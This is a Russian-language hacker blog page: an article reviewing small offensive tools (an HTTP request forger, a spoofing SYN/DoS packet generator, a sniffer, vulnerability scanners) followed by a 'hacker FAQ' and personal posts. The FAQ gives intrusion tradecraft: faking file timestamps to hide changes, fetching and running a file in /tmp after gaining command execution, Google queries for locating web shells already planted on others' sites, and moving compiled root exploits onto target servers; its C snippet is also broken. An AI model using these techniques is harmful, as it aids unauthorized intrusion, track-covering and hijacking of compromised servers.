Вооруженный пингвин. Компактный софт для боевых действий.


**********
intro
**********
У каждого хакера должен быть свой личный набор боевого софта. Этот набор должен отвечать кое каким требованиям, которые каждый устанавливает сам. Я например, люблю небольшие программы, которые не обременены большим количеством функций.
Кому то нравятся программы гиганты с множеством встроенных возможностей.
В этом материале я решил описать несколько малоизвестных тулз, которые иногда могут работать почище популярных утилит.

«Маленький значит красивый» - именно этим принципом мы и будет держаться.

*********
body
*********
---------
webi.c
---------
enter
Первой утилитой, которую мы сегодня разберем, будет webi.c. Ее автором является лицо под ником Condor. Программа выполняет функции подделки (или инъекции, как сказано в описании) HTTP пакетов. Собственно она является аналогом (почти) windows утилиты InetCrack.
Скачать сишник можно по этой ссылке:

description
Программа имеет несколько ключей, давайте разберём  основные из них:
-s
Указываем  адрес веб сервера (127.0.0.1, hackzona.ru)

-u
URL(/cgi-bin/script.php)

-p
Порт. По умолчанию — 80

-m
Метод отправки. Наверное самый нужный ключ.
Возможные варианты:
{GET, HEAD, POST, PUT, DELETE, TRACE, CONNECT, OPTIONS, PATCH, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, TRACE}

-r
Рефферер

-a
Юзер агент.

-z
Username и пароль. Например, login:pass

-t
Proxy, опять же proxy:port

-d
Данные

-?
Справочка

Компилируется так:

[stranger@localhost ~]$ gcc /home/stranger/webi.c -o /home/stranger/web



Пример:

[stranger@localhost ~]$ /home/stranger/web -s hackzona.ru -u http://hackzona.ru/index.php

 


in source code...
Давайте теперь взглянем на исходный код.
Помимо главной функции написаны еще три:
void usage(char *arg)
char *itoa(int i)
void base64Encode(char *intext, char *output)

Первая при необходимости выводит справку для программы.
Вторая, преобразовывает  int строки  в char. Она написано специально для совместимости с некоторыми системами (т.к. иногда  ее просто в них нет)
Ну и третья функция производит base64 кодировку.
В главной (main) функции, c помощью конструкции switch  проверяются ключи.
Далее происходит сама генерация пакета.
Ну и конечной частью кода является отправка пакета и прием ответа.

Other
В принципе те же самые действия можно произвести с помощью той же netcat, но согласитесь, эта программа более удобна. К тому же ее исходный код занимает всего 300 строк.

-----------
synner.c
-----------
enter
Итак, наш следующий подопытный называется synner. Автором этого инструмента является человек под ником sm4x.
Программа является  генератором TCP пакетов и служит для тестирования брандмауэров и производства DoS атак. Она может отправлять большие TCP пакеты с определенными TCP флагами, MAC и IPS
Слить исходник можно по этой ссылке

description
Давайте рассмотрим некоторые ключи программы.
Прототип использование вот такой:

[root@localhost stranger]#
./synner -i -s -S -d -D

-i
Имя интерфейса

-x
Режим DoS атаки

-s
Исходный айпишник (если производится спуфинг)

-S
Исходный MAC, опять же для спуфинга

-d
ип цели

-D
Соответственно MAC адрес цели.

-l
Размер пакета

-f
TCP флаги — s,a:p:u,r:f
(s)yn, (a)ck, (p)push, (u)rgent, (r)eset, (f)in, (x)=ALL

Компиляция производится так:
[root@localhost stranger]# gcc /home/stranger/synner.c -o /home/stranger/synner


Замечу, что для использования программы вам понадобятся root права.
Ну что ж, давайте рассмотрим пару примеров:

[root@localhost stranger]#./synner -ieth0 -x -s192.168.1.1 -S00:AA:BB:CC:00:00 -d192.168.1.219 -D00:dd:ee:aa:dd:bb -p 6984 -l 512 -u5555 -fas

[root@localhost stranger]#./synner -ieth0 -sr -S00:dd:ee:aa:dd:ff -d192.168.1.219 -D00:dd:ee:aa:dd:bb -p80 -u500 -fx

in source code...
В общей сложности исходный код занял 400 строк.

Функция...
unsigned short calc_checksum(unsigned char *, int );
... вычисляет контрольную сумму, которая необходима при формировании пакета.

Так же в коде есть структура tcphdr. Она содержит в себе структуру TCP пакета. Если хотите более подробную информацию о ее полях обратитесь к спец. источнику.

Other
Как видите, программа довольно проста в использовании, но при этом является мощным инструментом, который займет достойное место в нашей коллекции.

A-SnIf.c
enter
Следующим на очереди стоит программа-сниффер A-SnIf. Ее создателем является некто
по имени Asynchro. 
Загрузить код можно тут
http://packetstormsecurity.org/sniffers/A-SnIf.c
Это довольно простой инструмент для перехвата пакетов. В описании автор указал даже, что это "сниффер для обучения". Тем не менее он работает, давайте разберемся как.

Description
По сложившийся традиции давайте рассмотрим ключи программы:

Прототип:
[root@localhost stranger]#./a-snif [-i interface] [-a address] [-p port] [-l logfile] [-h] [-d]

-i
Ключ указывает на интерфейс, который нужно использовать вместо установленного по умолчанию.

-a
Адрес, с которого нужно «снифать» пакеты.

-p соотвественно порт, который нужно контролировать

-l ключ создает лог файл, куда будет писаться результат

-d
вывести выходные данные.


Вот довольно наигранный пример:
[stranger@localhost ~]$ ./snif -a 192.168.1.1 77 /home/stranger/log.txt

Собрать программку можно обычным gcс, как и в прошлых примерах.
Да и, для использования нужны рут права.

Other
Программа заняла около 400 строк. Это сравнительно мало.
Безусловно, в этом сниффере мало функционала, но не смотря на это он практичен.

cscan.pl
enter
Следующая тулза является cgi сканером (или сканером уязвимостей). Написана она на perl человеком с ником iceburg.
По сути ничего отличительного в ней нет. Утилита работает с базой данных в которой хранятся уязвимые скрипты.  Ну как с базой… Обычный текстовик с уязвимыми скриптами. =)
Скачать сценарий можно по этой ссылке:

Description
Для работы с программой вам понадобиться создать базу данных.
Ну и естественно добавить туда какое то кол-во уязвимых скриптов (гоу ту багтрак)
Далее можно приступать к работе.

Ключи:

-p
Порт

-h
Хост

-d
Имя файла с дырявими сценариями

-l
Имя лог файла

-m
С помощью этой опции можно просканировать диапазон адресов.

Смотрим пример:

[stranger@localhost ~]$ perl cscan.pl -p 80 -h 127.0.0.1 -d cgi.database -l blah.log

[stranger@localhost ~]$ perl cscan.pl -p 80 -m 127.0.0.1-255 -d cgi.database -l blah.log

in source code...
Код занимает всего 150 строк.
В нем происходит обычное построчное считывание из файла. Далее идет обращение к веб серверу.

Other
Несмотря на простоту, сканер может помочь в некоторых ситуациях. В принципе в сети есть много аналогов, даже на других языках.


dittrich.pl
enter
Следующая программа нашей коллекции это dittrich. Так же как и предыдущая она написана на языке perl. Ее автор- David Dittrich. Утилита выполняет одну функцию – собирает информацию о целевой системе. Для своих злых дел она использует nmap и netcat. Так что проследите, что бы оные были у вас в наличие.
Скачать скрипт можно тут:
Description
В качестве аргумента программе нужно передать адрес хоста. Но конечно возможно использовать несколько опций:

-repeat [N]
Тут мы указываем сколько раз нужно пытаться собрать данные. Если не указать значение программка будет мучить целевую систему пока та работает =)

-sleep [N]
Сколько секунд нужно «спать» перед следующей попыткой
Дефолтовое значение указано в сорце

-log
Имя лог файла.

in source code...
В начале кода задано несколько констант.
Вроде путь до nmapa или время «спячки» между запросами.
Ну и далее идет собственно сам процесс сборки данных.
Он в основном опирается на использование «сетевой кошки» и нмапа.

Other
В итоге довольно удобный инструмент, берет на себя ввод команд в nmap или netcat и экономит наше время.

ftp-spider.pl
enter
Ну и завершает наш топ инструмент с названием  ftp-spider.  Ее автором является Nithen Naidoo. Программа написана на perl. Она сканирует ftp сервер на разные уязвимости, вроде неправильной расстановки прав доступа или обнаружение анонимного доступа. Есть возможность составлять структуру каталогов.
Слить сценарий можно здесь:

Description
Прототип использование таков:

[stranger@localhost ~]$  perl ./ftp-spider.pl [-h] [-v] [-d] [-k] [-P] [-w] [-s server] [-u username] [-p password] [-r remote] [-i ignore] [-f filterfile]

-v
Подробный вывод. В том числе все дерево каталогов и списки файлов.

-P
Пассивный режим работы

-i
Тут задается регулярное выражение. Файлы, которые ему соответствуют, игнорируются.

-p
Пароль. Опционально.

-w
Перечислить все каталоги, которые доступны для записи.

-s сам сервер

Вот небольшой примерчик:

[stranger@localhost ~]$  perl ./ftp-spider.pl –s 127.0.0.1 –v

Other
Думаю это очень полезный скрипт. Полезен именно тем, что не просто перебирает имена, пытаясь найти уязвимый ftp –шник, а пытается найти баги, которые появляются вследствие лени админа.

**********
Outro
**********

Ну что ж. На этом все. Собственно целью данной статьи не было побуждать вас использовать именно этот софт. Просто я хотел показать несколько удобных программок, которые могут быть полезны в определенных ситуациях. Вообще акцент делался именно на то, что инструменты были небольшие по размеру и их функциональность довольно усечена. Но это нельзя считать недостатком. По моему мнению, такие утилиты использовать гораздо приятнее и удобней.

StraNger


h3k FAQ

Написал небольшой фак, может кому интересно
будет почитать. Постарался снабдить еще доп. инфой.
q№1.
На удалённом сервере присутствует нужный нам файл. У вас хватает прав что бы прочитать и изменить его. Но - задача заключается в том, что бы дата модификации осталась той же что и была (либо изменненой на любую другую фэйковую)

Решение:
Для этих целей в Linux существует команда touch.
У нее существует опция -t, которая меняет дату и время модификации файла.
Например:

[stranger@localhost ~]$touch -r 0909090909 /home/stranger/aaa.html

Как вариант существует еще опция -r. Она изменяет дату модификации нашего файла, на дату модификации указанного. Например:

[stranger@localhost ~]$touch -r /etc/passwd /home/stranger/aaa.html

Кстати в php есть одноименная функция для изменения времени доступа к файлу:

int touch (string filename [, int time [, int atime]])

Например:



Этот код меняет время модификации файла $filename на текущее время.

Если уж разговор зашел о программировании приведу пример и на си.
ТУт есть структура stat (описана в sys/stat.h). У нее есть поле st_atime оно отвечает за время последнего доступа.
Опять же небольшой пример:

#include
#include // необходимый заголовочный файл
int main(int ac,char *ag[])
{
struct stat buffer; // структура для хранения инфы
if(ac!=1) если кол во аргументов не 1 то
{
if(stat(ag[1],&buffer)!=-1) //если не произошла ошибка то
buffer.st_atime="09090909"; //меняем
else
printf("Не корректное имя файла\n"); // если ошибка
}
else
printf("Пожалуйста введите необходимые аргументы\n");
}



q№2.
Вам удалось найти уязвимость на сайте, через которую можно выполнять команды на сервере. Каким способом и куда можно загрузить и запустить биндшелл(либо другой файл)

Решение.
Вообще загружать файл можно в любую доступную нам директорию (доступную для записи). Но лучше всего грузить файл в директорию /tmp (дириктория временных файлов),
т.к. она открыта для всех, и проблем с правами скорее всего не возникнет.
Непосредственно загружать файл можно несколькими способами
Использовать можно:
wget, get, curl, lynx, links.
Все зависит от конкретной ситуации. Например на сервере может отсутствовать wget.
Для проверки существование программы используем команду which <нужная нам прога>
Итак разберем примеры:


[stranger@localhost ~]$cd /tmp //переход в каталог
[stranger@localhost ~]$wget http://path.com/file.pl // загрузка
[stranger@localhost ~]$chmod 755 file.pl //установка прав
[stranger@localhost ~]$perl file.pl //запуск


Опять же частенько бывают ситуации, когда нужно выполнить все действия через php код:



НУ и давайте рассмотрим способ через lynx. Для тех кто не в курсе lynx - это станадртный консольный браузер. Делается так:




q№3.
Вам удалось взломать сервер и получить доступ к shell оболочке, при чем вы знаете пароль root. Но при вызове команды su, на экране появляется следущее сообщение:


standard in must be a tty


В чем проблема?

Решение.
Скорее всего проблема заключается в отсутствии привязки текущей сессии к псевдотерминалу (или отсутствие поддержи псевдотерминала).
Для уверенности можно набрать команду tty если ответ будет подобен этому:


tty: not a tty


Значит все именно так.
Решить данную ситуацию можно например установив бэкконнект с поддержкой псеводотерминалов. Для этого можно использовать программу ttyX, либо Bidlink.


q№4
Просканировав сервер на открытые порты, ты решил пробить несколько netcat -ом, в итоге на одном из открытых портом был обнаружен такой странный баннер: "??????#??'??$".
Какой демон мог бы носить такой баннер?

Решение.
Ответ прост, так же как и задача - такой баннер носит telnet демон.


q№5.
В какой то момент твоей хакерской деятельности тебе срочно понадобился веб шелл на любом сайте. Но в наличии такового не оказалось, что делать?

Решение.
Как вариант можно поискать уязвимые сайты в гугле (думаю запросы показывать смысла не имеет).
Но более эффективный способ, это искать уже залитые веб шеллы. Тут приведу пример:


PHPKonsole PHPShell filetype:php -echo


Это запрос будет искать залитый PHPKonsole шелл.
А вот этот:


intitle:c99shell filetype:php


c99shell шелл.
Думаю суть запросов ясен.


q№6.
(опять на знание Linux команд) Ты получил доступ к Linux серверу с правами обычного пользователя. Вызвав команду who ты убедился, что находишься один в системе. Что бы дейтсвовать дальше нужно узнать как часто администратор (и другие пользователи) посещают терминал. Как ты это сделаешь?

Решение.
Делается это с помощью команды last. При вводе команды без аргументов она попросту выведем весь лог входов и выходов. Можно ограничить вывод с помощью опции -n:


[stranger@localhost ~]$last -n 15



q№7.
Ты получил доступ к серверу с правами пользователя. Твоя цель - root. Воспользовавшись командой uname -a ты узнаил что на сервер крутиться Linux ядро под которое существует local root сплоит. Но выполнив такую команду:

[stranger@localhost ~] which gcc


Терминал выдал вот это:


/usr/bin/which: no псс in (/usr/lib/qt-3.3/bin:/usr/kerberos/bin:/usr/lib/ccache:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/you/bin:/home/you/bin)


Что делать?

Решение: 

Если кто не понял, то выше приведённая надпись указывает на то, что отсутствует компилятор gcc. В идеале она команда должна была показать нам путь до компилятора.
Для начала можно попробовать использовать cc. Если и такого не нашлось, то дела плохи.
Выходом из данной ситуации будет компилирование сплоита на другой тачке и загрузке готового бинарника на целевой сервер.
Но. тебе нужно учитывать что бы система на которой ты будешь собирать наш эксплоит была такой же по архитектуре как и целевая. Иначе все труды напрасно.
EOF


StraNger aka reaL StraNger

Жизнь продолжается

Врачи == олени. Сегодня поняли, что у меня нет пневмонии.
Пока валялся в койке появилось парочка идей для новой статейки и релизов.
Решил скачать CoD5 (зачем??). Погамаю... расслаблюсь.
Еще раз кстати поздравляю сципа =))
Пойду менять диз блога.

Прощайте

Прощайте дорогие товарисщи.
Ложусь на неопределенный срок в больницу с пневмонией.
Там не будет не виндос не линукс. И си там не будет. (((

Ужес

Ппц. Еле встал с постели. Сопли капают на клаву. Температура 2 дня была под 39
Школу на карантин закрыли.

Лежит

Бля. ХЗ лежит, гетрут лежит.
Чувствую себя бездомным

Unknown

Что то тут решил асм поучить.)
Даже не знаю что их этого выйдет.... просто потянуло
Нашел книжонку Асемблер в Linux для программистов С.
Сижу читаю. Извращенец я
На дельфи с гордостью забил.
Так вот.


Copyleft (Ɔ); StraNger ideas